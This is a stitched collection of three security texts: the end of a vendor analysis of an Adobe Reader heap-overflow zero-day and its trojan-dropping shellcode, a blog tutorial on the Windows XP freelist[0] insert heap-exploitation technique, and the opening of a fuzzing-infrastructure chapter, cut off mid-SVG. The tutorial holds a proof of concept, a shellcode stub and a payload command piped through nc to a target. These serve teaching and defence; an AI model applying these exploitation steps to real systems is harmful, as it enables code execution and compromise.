structure by one byte. He could not give the function pointer inside the
structure an arbitrary value, which makes this exploit quite crafty indeed.
This can be seen by comparing the memory under normal and attack \(i.e. when
the exploit occurred\) conditions. Dumping the structure in normal conditions
results in:

[code]

    0:000> dd 0124da40
    0124da40  **0000010c** 00965450 00968cc0 00aae890
    0124da50  01021e10 01024380 01021e40 01024430
    0124da60  009671c0 010243e0 00971670 01022e80
    0124da70  00a468c0 00970d10 0096f060 00964e80
    0124da80  0096f7d0 0096fe30 00961ca0 0095c060
    0124da90  010228e0 00000000 00000000 00000000
    0124daa0  00000000 00000000 00000000 00000000
    0124dab0  00000000 00960420 00000000 00000000
    0124dac0  0099f2e0 00970750 009712d0 00971420
    0124dad0  **00000000** 00a03950 00a1ced0 01022c10
    0124dae0  01022cc0 01022d40 00000000 00000000
    
    
    
[/code]

Normal conditions: Even though 0x10c is greater than 0x90, because the
function pointer at offset 0x90 \(0124dad0\) is NULL, nothing will happen. But
under attack conditions, after the heap overflow \(pay attention to endian-
ness when shifting bytes\):

[code]

    0:000> dd 0124da41
    0124da41  **50000001** c0009654 9000968c 1000aae8
    0124da51  8001021e 40010243 3001021e c0010244
    0124da61  e0009671 70010243 80009716 c001022e
    0124da71  1000a468 6000970d 800096f0 d000964e
    0124da81  300096f7 a00096fe 6000961c e00095c0
    0124da91  00010228 00000000 00000000 00000000
    0124daa1  00000000 00000000 00000000 00000000
    0124dab1  20000000 00009604 00000000 e0000000
    0124dac1  500099f2 d0009707 20009712 00009714
    0124dad1  **50000000** d000a039 1000a1ce c001022c
    0124dae1  4001022c 0001022d 00000000 00000000
    
    
    
[/code]

Because 0x50000001 is greater than 0x90, and 0x50000000 is not zero, the
control flow will be transferred to  _0x50000000_. It should be noted that as
per our tests, sometimes it is pointer1 \(offset 0x0C relative to the end of
the 0x80-length heap block\) that points to the structure , which is why the
attacker increments that pointer as well. The attacker did not change any
other DWORDs because changing those two is the minimum necessary condition
under which the exploit will run. Changing any other DWORDs may cause the
application to crash before reaching control of the EIP.  

### 2.3: THE HEAP SPRAY

As pointed above, the attacker does not precisely control the point where the
ultimate function pointer will branch. He can only have it pointing to
0x50000000. Luckily for him, this generally belongs to the heap. Therefore,
filling the heap with shellcode helps to ensure malicious code execution
running from 0x50000000. This is achieved by a classical heap spray in
javascript \(Figure 5\):  
<img src='img/Temp2_3252.png' width='160' height='110' />  
_Figure 5: The decoded Javascript using heap spray technology_ The shellcode
that this script sprays all over the heap will be addressed in section 3, as
it is not part of the exploit per se.  

### 2.4: SMASHING ADOBE'S HEAP MEMORY MANAGEMENT SYSTEM

Why use 0x80 as the bogus heap block allocation length? In other words, why
select 0x4000000E as the vulnerable ParamX value? Generally speaking, heap
memory allocations on a Windows system will eventually call the system API
**RtlAllocateHeap** , to apply for a new heap block. In such a situation,
memory values around the returned block are unpredictable for the application.
However, Adobe Reader uses its own heap management routine: if the block's
length is less than or equal to 0x80 bytes, the request won't be submitted to
the system level heap management routine. Instead, Adobe Reader's own memory
management routine finds a suitable recycled block matching the requested
allocation size. Following is the relevant code in function
"**acro\_allocate\_routine** " in "acrord32.dll":

[code]

    .text:003042DC                 push    offset stru_E886F0 ; lpCriticalSection
    .text:003042E1                 mov     [esp+1Ch+allocate_len], offset stru_E886F0
    .text:003042E9                 call    ds:EnterCriticalSection
    .text:003042EF                 cmp     edi, 80h        ; allocate_len>0x80?
    .text:003042F5                 mov     [esp+18h+var_4], 0
    .text:003042FD                 ja      short loc_30433B ; allocate_len=0x80, no jumping here
    .text:003042FF                 movzx   eax, ds:byte_BFD898[edi]
    .text:00304306                 mov     ecx, [esi+eax*4+0Ch]     ; get structure pointer which manages all recycled 0x80-length blocks
    .text:00304306                                          
    .text:0030430A                 mov     eax, [ecx+4]     ; the first recycled 0x80-length block
    .text:0030430D                 test    eax, eax
    .text:0030430F                 jz      short loc_30432F
    .text:00304311                 mov     esi, eax
    .text:00304313                 mov     eax, [eax+4]     ; next block
    .text:00304316                 test    eax, eax
    .text:00304318                 mov     edx, [esi-4]
    .text:0030431B                 mov     [ecx+4], eax     ; take off the first block from the list
    .text:0030431E                 jz      short loc_304326         ; how many recycled blocks have been reused
    .text:00304320                 mov     dword ptr [eax], 0
    .text:00304326
    .text:00304326 loc_304326:                             ; CODE XREF: acro_allocate_routine+7Ej
    .text:00304326                 add     dword ptr [edx+4], 1 ; how many recycled blocks have been reused
    .text:0030432A                 jmp     loc_3043C4      ; exit, return the first block for use
    
    
    
[/code]

It can be observed that it does not go into the system level's management
routine to allocate a new heap block; instead, it reuses the heap block which
has just been marked as "freed" by the application itself \(in other words,
the system actually does not free this memory\). Because of this, the memory
values around this reused block can be fairly easily predicted \(or at least
stay relatively stable\). And this indicates a pretty effective method to
exploit heap based overflow vulnerabilities on Adobe Reader.  

## SECTION 3: POST-EXPLOIT ACTIVITY & EMBEDDED SHELLCODE

The shellcode in the Javascript piece just does one thing: locate and execute
another shellcode in the PDF. Remarkably, the shellcode seeks out the PDF file
handle, testing all available handles starting from 0, comparing each to the
target size by using the API function GetFileSize:  
<img src='img/Temp2_3262.png' width='160' height='110' />  
_Figure 6: Shellcode is searching for the file handle of the POC file_ The
original C code may have looked like:

[code]

    DWORD dwTestHandle=0;
    
    //test all the handles, with step 4.
    while (1)
    {
            dwFileSize = GetFileSize(dwTestHandle,0);
            if ((dwFileSize != -1) && (dwFileSize>=0x2000))
            {
                    break;
            }
            dwTestHandle = dwTestHandle +4;
    }
    //obtain the self file handle successfully
    
    
    
[/code]

Then, it uses the obtained file handle to locate and execute the new shellcode
embedded within the PDF file:  
<img src='img/Temp2_3254.png' width='160' height='110' />  
_Figure 7: Shellcode is jumping to another shellcode inside the POC_ As a side
note, this is not new. The "Phantom Team" used this "shellcode seek and
execute" strategy in a malicious PDF over a year ago. The new shellcode will
perform the following activities:  

  1. Drop an executable file from the initial PDF file, and execute it. This is actually a trojan which is detected by our Antivirus products as "W32/Protux.GK\!tr".
  2. Drop a "normal", harmless PDF from the initial PDF file, open it with Adobe Reader, and rewrite the currently opened malicious PDF with the same content as the dropped normal PDF: this achieves a perfect camouflage effect. In the occurrence we studied, the disguised file was named "The question of the charter of pro-democracy moment.pdf", located in the Windows temporary directory.

  
Following are the key points of the new shellcode:  
<img src='img/Temp2_3259.png' width='160' height='110' />  
_Figure 8: Step \#1 - Drop the exe file to the temp directory_  
<img src='img/Temp2_3260.png' width='160' height='110' />  
 _Figure 9: Step \#2 - Execute the dropped exe file_  
<img src='img/Temp2_3255.png' width='160' height='110' />  
 _Figure 10: Step \#3 - Drop the disguised PDF file_  
<img src='img/Temp2_3257.png' width='160' height='110' />  
 _Figure 11: Step \#4 - Open the disguised PDF with Adobe Reader_  

## CONCLUSION

Taking a look back over this 0-day attack as a whole, each single part of it
is somehow ingenious - whether it be the vulnerability, operational
exploitation, the logic behind it, the way to leverage it or the final
shellcode. The exploitation method through the heap overflow, which may also
be used in future Adobe Reader exploits, is particularly innovative in itself.
FortiGuard Labs has released advisory FGA-2009-35 to respond to this issue,
coordinating with Adobe's Security Advisory APSB09-15. Advanced zero-day
protection was available to our customers since October 9th, 2009. The
vulnerability can be detected by our IPS signature
"Adobe.Reader.Decode.Color.Remote.Code", while our antivirus detects the PDF
exploit as "W32/Protux.GK\!exploit" and the dropped executable file as
"W32/Protux.GK\!tr". We nonetheless recommend again that all Adobe Reader and
Acrobat users update their application to the latest version as soon as
possible.  
  
---

# Heap Overflows For Humans 102.5 « mr\_me's IT security blog

**Created:**| _12/28/2011 9:02:06 AM_  
---|---  
**Updated:**| _12/28/2011 9:02:06 AM_  
**Author:**| __  
**Tags:**| _Exploit Heap_  
  

## Heap Overflows For Humans 102.5

by mr\_me on Dec.28, 2011, under exploit development, reversing

Hi folks. Sometime ago, I discussed an old, but important technique for
exploiting application specific heap overflows under windows XP SP3. Today, I
am going to discuss another important technique and give an introduction to my
immunity debugger plug-in tool called \!heaper\!

First off, I would like to thank some serious researchers for the previous
research done in this area as one can only appreciate the technical
complexities/difficulties in understanding these concepts and without these
people, these articles wouldn’t exist.

So a BIG thank you to Brett Moore, Nicholas Wiseman and Chris Valasek. Your
research is beyond exceptional.

Ok lets begin?

In December 2005 Brett Moore released some very interesting research
‘Exploiting Freelist\[0\] On XP SP2‘. It details two very useful techniques
independently discovered by Mr Moore that could be used to attack
Freelist\[0\]. We are going to cover one in particular technique known as the
‘freelist\[0\] insert’ attack simply due to its practicality.

For this you will need to setup a machine using:

  * Windows XP with just SP2/SP3 installed.
  * Immunity Debugger
  * pyparser
  * graphviz
  * A copy of my immunity debugger plugin heaper.py.
  * A c/c++ compiler \(Dev C++, lcc-32, MS visual C++ 6.0 \(if you can still get it\)\).
  * A scripting language of ease \(I use python, maybe you can use perl\).
  * A brain \(and/or persistence\).
  * Some knowledge of Assembly, C and knowledge on how to dig through a debugger
  * Time.

### Freelist\[0\] insert attack

The concept to this attack works by overwriting the blink in a freelist\[0\]
chunk and when inserting a chunk _before_ the overwritten chunk, the blink is
not checked before the inserted flink/blink pointers are updated. Safe
unlinking applies only to the chunk being manipulated and its relevant
blink/flink \(no validation on chunks being relinked\).

To mitigate this issue, under windows 7 using dedicated Freelists, Microsoft
implemented a check similar to this:

if \(chunk\[blink\] -> PrevChunk && PrevChunk\[flink\] -> chunk\)

proceed…

If chunks before and after have their backward and forward links validated,
then it would of course mitigate the issue and not allow an attacker to set an
arbitrary pointer or set an arbitrary value pointed to by an uncontrolled
address. Below is the crude code example we will work with:

[code]

    /*
        exploiting freelist[0] (insert)
        technique by Brett Moore
        poc example by Steven Seeley
    */
    
    #include <stdio.h>
    #include <windows.h>
    int main(int argc,char *argv[])
    {
        char *a,*b,*c,*x,*y,*z;
        long *hHeap;
    
        hHeap = HeapCreate(0x00040000,0,0);
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1200);
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1024);
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,2048);
    
        // freelist[0] has 'c' chunk
        HeapFree(hHeap, 0, c);
    
        // overwrite b so that we spill into c
        // set c's blink to lookaside[3]
    
        printf("(+) Chunk b: 0x%08x\n",b);
        printf("(+) Fill chunk b (using 1024 bytes), overflowing chunk c:\n");
    
        // overflow b
        // using 1024 A's + BBBBCCCCDDDDEEEE (E=blink) (D=Flink)
        // overflow with blink set to 0x00480718 (lookaside[3])
    
        gets(b);
    
        // free 'a' so that freelist[0] looks like this:
        // freelist[0]:
        //             chunk b
        //             chunk a
        //             chunk c
    
        // the 'insert'
        HeapFree(hHeap, 0, a);
    
        // now lookaside[3] should be
        // lookaside[3]:
        //              chunk b
        //              chunk a
        //	            chunk ?	(fake chunk created from the overwrite)
        //              blink we control from overwrite
    
        // pop off the lookaside until we reach
        // our fake chunk
    
        x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    
        // write shellcode at controlled freelist blink (lookaside flink)
        gets(z);
        exit(0);
    }
    
[/code]

Whilst this code example of course does not represent any kind of real world
example, once the concept is grasped, the technique may be applied to an
application specific situation.

Compile the code or grab the per-compiled version if you want and open it up
in a debugger this is what you should see:

<img src='img/Temp2_3672.png' width='300' height='146' alt='Opening
freelist_insert_bin.exe' />

Firgure 1 - Opening freelist\_insert\_bin.exe

Now scroll down until you see the main API calls used in the application
HeapCreate, HeapAlloc, HeapFree and set breakpoints on **second** HeapFree and
the following HeapAllocs after that.

<img src='img/Temp2_3682.png' width='300' height='126' alt='Setting
breakpoints on calls to HeapFree and HeapAlloc' />

Figure 2 - Setting breakpoints on calls to HeapFree and HeapAlloc

Now we have to hide the fact that we are running this under the debugger so we
use ‘\!hidedebug all\_debug’ to patch all API’s.

<img src='img/Temp2_3668.png' width='300' height='198' alt='!hidedebug
all_debug' />

Figure 3 - \!hidedebug all\_debug

Ok now run the application and you should get requested to insert some junk
into the cmd.exe window. Because this is STDIN, we cannot simply insert binary
data into the application via this point. Also, to help illustrate further, we
will insert ASCII data and modify it in memory so that a more complete
understanding is gained.

If the astute reader is paying attention, you will have noticed that the chunk
we are writing into is 1024 bytes in length. Any number of bytes past this
point will overflow the buffer, therefore precise control is needed. If we
overflow with 8 bytes \(for the header of the next chunk\) and another 8 bytes
\(for flink/blink\) then we can use this to take complete control. Lets
generate our ASCII quickly:

<img src='img/Temp2_3673.png' width='300' height='39' alt='Generate 1024 bytes
+ 8 for header + 8 for flink/blink' />

Figure 4 - Generate 1024 bytes + 8 for header + 8 for flink/blink

Ok so we paste this into the application and hit the first breakpoint \(Call
on HeapFree\):

<img src='img/Temp2_3681.png' width='300' height='156' alt='Inserting the
'attack' string and hitting the first breakpoint' />

Figure 5 - Inserting the 'attack' string and hitting the first breakpoint

Now lets do some analysis and find out what is happening. First, lets look at
the freelist and **visually** inspect its layout by using \!heaper af -g.

<img src='img/Temp2_3670.png' width='300' height='170' alt='Freelist analysis
after the overflow' />

Figure 6 - Freelist analysis after the overflow

Ok so visually using ‘\!heaper af 490000 -g’. You can find the graph located
in ‘C:\Program Files\Immunity Inc\Immunity Debugger\’ and its default name is
freelist\_graph.png.

<img src='img/Temp2_3678.png' width='300' height='152' alt='Freelist analysis
after the overflow' />

Figure 7 - Freelist analysis after the overflow

Right, so we can pretty clearly see that blink/flink are overwritten with our
controlled data. The idea now is that we have to modify the blink ’0×44444444′
to the lookaside\[3\] entry address. At this stage, the lookaside doesn’t
exist as no entries have been freed to the lookaside yet but we are going to
fake some entries. Lets change the value:

<img src='img/Temp2_3676.png' width='300' height='148' alt='Setting the blink
to offset of the lookaside 3 entry (0x00490718)' />

Figure 7 - Setting the blink to offset of the lookaside 3 entry \(0x00490718\)

As we can see, the freelist\[0\] entry now reflects this change:

<img src='img/Temp2_3679.png' width='300' height='86' alt='Controlling blink'
/>

Figure 9 - Controlling blink

Ok so this is the important part, if we step over the HeapFree\(\) call we can
see a big change. The lookaside\[3\] is populated with 3 entries and our
controlled flink is becomes the flink of a fake chunk on the lookaside. Use
\!heaper al

<img src='img/Temp2_3677.png' width='300' height='160' alt='The updated
lookaside' />

Figure 10- The updated lookaside

Once again, visually using ‘\!heaper al 490000 -g’. Its default name is
lal\_graph.png or you can set a name using -f

<img src='img/Temp2_3667.png' width='300' height='152' alt='Lookaside list
visual analysis' />

Figure 11 - Lookaside list visual analysis

Now if we continue execution until the next call to HeapAlloc\(\) we can see
that the flink is getting returned from each entry in the lookaside list.

<img src='img/Temp2_3683.png' width='300' height='150' alt='Allocating chunks
from the lookaside until we reach the controlled chunk' />

Figure 12- Allocating chunks from the lookaside until we reach the controlled
chunk

Of course 0×43434343 is not a valid chunk and we must update the flink so that
it can be read at and written too. In this case, we are going to use the PEB
FastPEBLockRoutine pointer as described in Heap Overflows for Humans 102 to
accomplish this. The PEB is of course randomized now, however I am simply
demonstrating how the technique works and we need a valid pointer to write
too. You can use ‘\!heaper dp -m’ to dump the PEB’s management structure and
find the offset to FastPEBLockRoutine \(although it is always 0×20 of the
PEB\).

<img src='img/Temp2_3664.png' width='300' height='208' alt='Finding the
FastPEBLockRoutine pointer' />

Figure 13 - Finding the FastPEBLockRoutine pointer

Of course, now lets patch the 0×43434343 located at the lookaside\[3\] entry:

<img src='img/Temp2_3680.png' width='300' height='129' alt='Patching the
return value of HeapAlloc (faked flink) with the FastPEBLockRoutine pointer'
/>

Figure 14 - Patching the return value of HeapAlloc \(faked flink\) with the
FastPEBLockRoutine pointer

Now simply let the execution continue and the chunk can be read and written
to. Lets recap:

\- We now have created the situation perfectly to write ‘data/shellcode’ to
any 4 bytes in memory.

\- A call from RtlAcquirePebLock+0×28 to FastPEBLockRoutine\(\) is attempted.
Seeings as RtlAcquirePebLock\(\) using the current PEB to find the pointer and
call it, it calls our shellcode instead. See below:

<img src='img/Temp2_3669.png' width='300' height='165' alt='A dymanic call to
FastPEBLockRoutine() ends in shellcode execution' />

Figure 15 - A dymanic call to FastPEBLockRoutine\(\) ends in shellcode
execution

At this point, shellcode execution is quite straight forward, a pivot into
executing code from EAX would be needed and the stage 1 shellcode should be a
stub that repairs of the pointer that we just overwrote. Below is a small stub
that will do this.

[code]

    .386
    .model flat, stdcall
    option casemap:none
    
    .code
    start:
    mov eax, 7c901deh ; ntdll.RtlEnterCriticalSection
    mov ecx, 7ffdf01ch ; offset in the PEB 0x1f (yours will be different)
    add ecx, 4h
    mov dword ptr ds:[ecx],eax
    
    end start
    
[/code]

so essentially this translates to something like this:

`00401000 > $ B8 DE55F777 MOV EAX,ntdll.RtlEnterCriticalSection`

`00401005 . B9 1CF0FD7F MOV ECX,7FFDF01C`

`0040100A . 83C1 04 ADD ECX,4`

`0040100D . 8901 MOV DWORD PTR DS:[ECX],EAX `

This way, the pointer will be restored and shellcode will not keep executing.
Now under windows XP sp3, this of course should be done dynamically if the PEB
base address was bruteforced. Ill let the astute reader fix the above assembly
stub to dynamically located the PEB and patch the offset 0×20. You could use
fs:\[0x30\].

So a re-cap of data we would actually send the next time we want to exploit
the application in one shot \(assuming we are sending the data over a socket
connection\):

python -c “\x41″ \* 1024 + “\x42″ \* 8 + “\x20\xf0\xfd\x7f” + “\x18\x07\x49″ | nc -v <target> <ip>
The NULL byte would of course be appended to the end of the string.

#### Limitations and Conditionalities

  * You need to know the overflowed heap base address. Not as easy as one might think, however a information leak will help a lot with this.
  * You need to be able to predetermine the PEB base address or at least use another function pointer that you can overwrite that will get called. This will be explained further soon
  * You need to have control allocation sizes.
  * You need to be able to cause the application to free a chunk that is smaller than the overwritten chunk yet bigger than the chunk we filled. This _may_ happen without any determinism, however controlling allocation sizes and controlling when a chunk is freed is a sure way of making progress.

### Heaper

During my time in attempting to understand the techniques in heap
exploitation, I often needed to visualize aspects of memory and so I primarily
used Immunity Debugger \(windbg’s \!heap is insane though\). However I was
unable to find tools within immunity debugger that analyzed and determined the
exploit-ability of the heap. Given that Immunity Debugger was an ‘exploit’
focused debugger, I decided to get to work on an immunity debugger plugin that
helps to not only visualize heap structures, but also to determine the
exploit-ability by using a number of heuristics.

Currently, the plugin does **not** do any heuristics check to determine the
exploit-ability of a given heap overflow, however it will be integrated in the
near future. Currently the tool checks for simple write4 flink/blink
overwrites and will detect if the size field has been overwritten in the
chunks header. However it is likely that depending on _how_ the heap overflow
is triggered, that a valid exploitable path will be given to the user. Windows
7 will be supported in the coming months as I do more analysis on its exploit-
ability and conditional circumstances.

Ensure that you have pydot, pyparser and graphviz installed and save the code
into Immunity’s pycommands directory ‘C:\Program Files\Immunity Inc\Immunity
Debugger\PyCommands\’ and bring up the help functionality by using \!heaper

<img src='img/Temp2_3665.png' width='300' height='116' alt='!heaper usage' />

Firgure 19 - \!heaper usage

I mentioned previously that the task of finding function pointers to overwrite
is often difficult. On top of that, it is difficult to detect if they will be
even triggered after our overflow because we must know in the future if they
will be triggered. Let \!heaper’s ability help solve this:

using \!heaper you can dump all function pointers in the .data section simply
by using this:

\!heaper dumpfunctionpointers or \!heaper dfp

<img src='img/Temp2_3666.png' width='300' height='277' alt='Display the
function pointers in a process' />

Figure 16 - Display the function pointers in a process

To patch a single function pointer with the default value 0×41414141 use:

\!heaper dfp -p <function pointer>

or patch all of them, \!heaper dfp -p all

<img src='img/Temp2_3674.png' width='300' height='291' alt='Patching the
function pointers with 0x41414141' />

Figure 17 - Patching the function pointers with 0x41414141

We can also restore the function pointers by using -r all or <function
pointer>

<img src='img/Temp2_3675.png' width='300' height='121' alt='Patched function
pointer example' />

Firgure 18 - Patched function pointer example

Restoring the patched example above:

<img src='img/Temp2_3671.png' width='208' height='300' alt='Restored function
pointer example' />

Figure 19 - Restored function pointer example

So the idea here is to patch all the function pointers and let the application
run \(simulating a write4 condition\) and waiting for a look up and call to
one of them. If an access violation is triggered, you will see in the debugger
the called address on the stack.

Many other functions exist so I invite the reader to investigate and explore
the possibilities of the tool and provide some feedback to me and ideas of
what you would like to see. Some suggestions I have had, include:

  * Provide some hooking functionality for certain heap calls VirtuallAlloc, HeapAlloc, HeapFree, HeapCreate etc and display the arguments \(if possible display the return value\)
  * Provide some stats regarding heap sprays, such as number of blocks sprayed, size of each block, offset into the block that the spray starts etc.
  * Provide Windows 7 functionality for the LFH and ensure graphing functionality will work.
  * Create and ensure the heuristics to determine exploit-ability are highly accurate. Heuristics for the following 4 attacks to begin with: bitmap flipping, freelist\[0\] insert, freelist\[0\] search and overwriting a chunk of the lookaside

As you can see there is still much to be done, but I hope this gets some
people off the ground for heap exploitation.

# Fuzzing in the Large - Generating Software Tests

**Created:**| _5/10/2019 8:28:07 AM_  
---|---  
**Updated:**| _5/10/2019 8:28:07 AM_  
**Author:**| __  
**Tags:**| _performance fuzzing_  
  

  

# Fuzzing in the Large¶

In the past chapters, we have always looked at fuzzing taking place on one
machine for a few seconds only. In the real world, however, fuzzers are run on
dozens or even thousands of machines; for hours, days and weeks; for one
program or dozens of programs. In such contexts, one needs an _infrastructure_
to _collect_ failure data from the individual fuzzer runs, and to _aggregate_
such data in a central repository. In this chapter, we will examine such an
infrastructure, the _FuzzManager_ framework from Mozilla.

**Prerequisites**

  * This chapter requires basic knowledge on testing, e.g. from the Introduction to testing.
  * This chapter requires basic knowledge on how fuzzers fork, e.g. from the Introduction to fuzzing.

[code]

    import fuzzingbook_utils
    
[/code]

[code]

    import Fuzzer
    
[/code]

## Collecting Crashes from Multiple Fuzzers¶

So far, all our fuzzing scenarios have been _one_ fuzzer on _one_ machine
testing _one_ program. Failures would be shown immediately, and diagnosed
quickly by the same person who started the fuzzer. Alas, testing in the real
world is different. Fuzzing is still fully automated; but now, we are talking
about _multiple_ fuzzers running on _multiple_ machines testing _multiple_
programs \(and versions thereof\), producing _multiple_ failures that have to
be handled by _multiple_ people. This raises the question of how to manage all
these activities and their interplay.

A common means to coordinate several fuzzers is to have a central _repository_
that collects all crashes as well as their crash information. Whenever a
fuzzer detects a failure, it connects via the network to a _crash server_ ,
which then stores the crash information in a database.

[code]

    from graphviz import Digraph
    
[/code]

[code]

    g = Digraph()
    server = 'Crash Server'
    g.node('Crash Database', shape='cylinder')
    for i in range(1, 7):
        g.edge('Fuzzer ' + repr(i), server)
    g.edge(server, 'Crash Database')
    g
    
[/code]

<img src='data:image/svg+xml,%3csvg width='602pt' height='188pt' viewBox='0.00
0.00 602.49 188.00' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' data-evernote-id='172' class='js-
evernote-checked'%3e %3cg id='graph0' class='graph js-evernote-checked'
transform='scale(1 1) rotate(0) translate(4 184)' data-evernote-id='669'%3e
%3ctitle data-evernote-id='670' class='js-evernote-checked'%3e%253%3c/title%3e
%3cpolygon fill='%23ffffff' stroke='transparent' points='-4%2c4 -4%2c-184
598.4925%2c-184 598.4925%2c4 -4%2c4' data-evernote-id='671' class='js-
evernote-checked'%3e%3c/polygon%3e %3c!-- Crash Database --%3e %3cg id='node1'
class='node js-evernote-checked' data-evernote-id='672'%3e %3ctitle data-
evernote-id='673' class='js-evernote-checked'%3eCrash Database%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M349.2463%2c-32.7273C349.2463%2c-34.5331 325.939%2c-36 297.2463%2c-36
268.5535%2c-36 245.2463%2c-34.5331 245.2463%2c-32.7273 245.2463%2c-32.7273
245.2463%2c-3.2727 245.2463%2c-3.2727 245.2463%2c-1.4669 268.5535%2c0
297.2463%2c0 325.939%2c0 349.2463%2c-1.4669 349.2463%2c-3.2727
349.2463%2c-3.2727 349.2463%2c-32.7273 349.2463%2c-32.7273' data-evernote-
id='674' class='js-evernote-checked'%3e%3c/path%3e %3cpath fill='none'
stroke='%23000000' d='M349.2463%2c-32.7273C349.2463%2c-30.9214
325.939%2c-29.4545 297.2463%2c-29.4545 268.5535%2c-29.4545 245.2463%2c-30.9214
245.2463%2c-32.7273' data-evernote-id='675' class='js-evernote-
checked'%3e%3c/path%3e %3ctext text-anchor='middle' x='297.2463' y='-14.3'
font-family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='676' class='js-evernote-checked'%3eCrash Database%3c/text%3e %3c/g%3e
%3c!-- Fuzzer 1 --%3e %3cg id='node2' class='node js-evernote-checked' data-
evernote-id='677'%3e %3ctitle data-evernote-id='678' class='js-evernote-
checked'%3eFuzzer 1%3c/title%3e %3cellipse fill='none' stroke='%23000000'
cx='42.2463' cy='-162' rx='42.4939' ry='18' data-evernote-id='679' class='js-
evernote-checked'%3e%3c/ellipse%3e %3ctext text-anchor='middle' x='42.2463'
y='-158.3' font-family='Times%2cserif' font-size='14.00' fill='%23000000'
data-evernote-id='680' class='js-evernote-checked'%3eFuzzer 1%3c/text%3e
%3c/g%3e %3c!-- Crash Server --%3e %3cg id='node3' class='node js-evernote-
checked' data-evernote-id='681'%3e %3ctitle data-evernote-id='682' class='js-
evernote-checked'%3eCrash Server%3c/title%3e %3cellipse fill='none'
stroke='%23000000' cx='297.2463' cy='-90' rx='57.6901' ry='18' data-evernote-
id='683' class='js-evernote-checked'%3e%3c/ellipse%3e %3ctext text-
anchor='middle' x='297.2463' y='-86.3' font-family='Times%2cserif' font-
size='14.00' fill='%23000000' data-evernote-id='684' class='js-evernote-
checked'%3eCrash Server%3c/text%3e %3c/g%3e %3c!-- Fuzzer
1%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge1' class='edge js-
evernote-checked' data-evernote-id='685'%3e %3ctitle data-evernote-id='686'
class='js-evernote-checked'%3eFuzzer 1-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M74.491%2c-150.1786C80.6863%2c-148.0326 87.1448%2c-145.8809 93.2463%2c-144
142.894%2c-128.6948 200.1348%2c-113.7762 241.3223%2c-103.5122' data-evernote-
id='687' class='js-evernote-checked'%3e%3c/path%3e %3cpolygon fill='%23000000'
stroke='%23000000' points='242.3059%2c-106.8744 251.1697%2c-101.0706
240.6213%2c-100.0801 242.3059%2c-106.8744' data-evernote-id='688' class='js-
evernote-checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Crash
Server%26%2345%3b%26gt%3bCrash Database --%3e %3cg id='edge7' class='edge js-
evernote-checked' data-evernote-id='689'%3e %3ctitle data-evernote-id='690'
class='js-evernote-checked'%3eCrash Server-%26gt%3bCrash Database%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M297.2463%2c-71.8314C297.2463%2c-64.131 297.2463%2c-54.9743
297.2463%2c-46.4166' data-evernote-id='691' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='300.7464%2c-46.4132 297.2463%2c-36.4133 293.7464%2c-46.4133
300.7464%2c-46.4132' data-evernote-id='692' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Fuzzer 2 --%3e %3cg id='node4'
class='node js-evernote-checked' data-evernote-id='693'%3e %3ctitle data-
evernote-id='694' class='js-evernote-checked'%3eFuzzer 2%3c/title%3e
%3cellipse fill='none' stroke='%23000000' cx='144.2463' cy='-162' rx='42.4939'
ry='18' data-evernote-id='695' class='js-evernote-checked'%3e%3c/ellipse%3e
%3ctext text-anchor='middle' x='144.2463' y='-158.3' font-
family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='696' class='js-evernote-checked'%3eFuzzer 2%3c/text%3e %3c/g%3e %3c!--
Fuzzer 2%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge2' class='edge js-
evernote-checked' data-evernote-id='697'%3e %3ctitle data-evernote-id='698'
class='js-evernote-checked'%3eFuzzer 2-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M172.6658%2c-148.6261C196.0637%2c-137.6153 229.5531%2c-121.8556
255.9181%2c-109.4486' data-evernote-id='699' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='257.7194%2c-112.4691 265.2772%2c-105.0442 254.7387%2c-106.1354
257.7194%2c-112.4691' data-evernote-id='700' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Fuzzer 3 --%3e %3cg id='node5'
class='node js-evernote-checked' data-evernote-id='701'%3e %3ctitle data-
evernote-id='702' class='js-evernote-checked'%3eFuzzer 3%3c/title%3e
%3cellipse fill='none' stroke='%23000000' cx='246.2463' cy='-162' rx='42.4939'
ry='18' data-evernote-id='703' class='js-evernote-checked'%3e%3c/ellipse%3e
%3ctext text-anchor='middle' x='246.2463' y='-158.3' font-
family='Times%2cserif' font-size='14.00' fill='%23000000' data-evernote-
id='704' class='js-evernote-checked'%3eFuzzer 3%3c/text%3e %3c/g%3e %3c!--
Fuzzer 3%26%2345%3b%26gt%3bCrash Server --%3e %3cg id='edge3' class='edge js-
evernote-checked' data-evernote-id='705'%3e %3ctitle data-evernote-id='706'
class='js-evernote-checked'%3eFuzzer 3-%26gt%3bCrash Server%3c/title%3e
%3cpath fill='none' stroke='%23000000'
d='M258.5919%2c-144.5708C264.6408%2c-136.0312 272.0495%2c-125.5719
278.7567%2c-116.1029' data-evernote-id='707' class='js-evernote-
checked'%3e%3c/path%3e %3cpolygon fill='%23000000' stroke='%23000000'
points='281.7358%2c-117.9522 284.66%2c-107.7689 276.0237%2c-113.9061
281.7358%2c-117.9522' data-evernote-id='708' class='js-evernote-
checked'%3e%3c/polygon%3e %3c/g%3e %3c!-- Fuzzer 4 --%3e %3cg id='node6'
class='node js-evernote-checked' data-evernote-id='709'%3e %3ctitle data-
evernote-id='710' class='js-evernote-checked'%3eFuzzer 4%3c/title%3e
%3cellipse fill='none' stroke='%23000000' cx='348.2463' cy='-162' rx='42.4939'
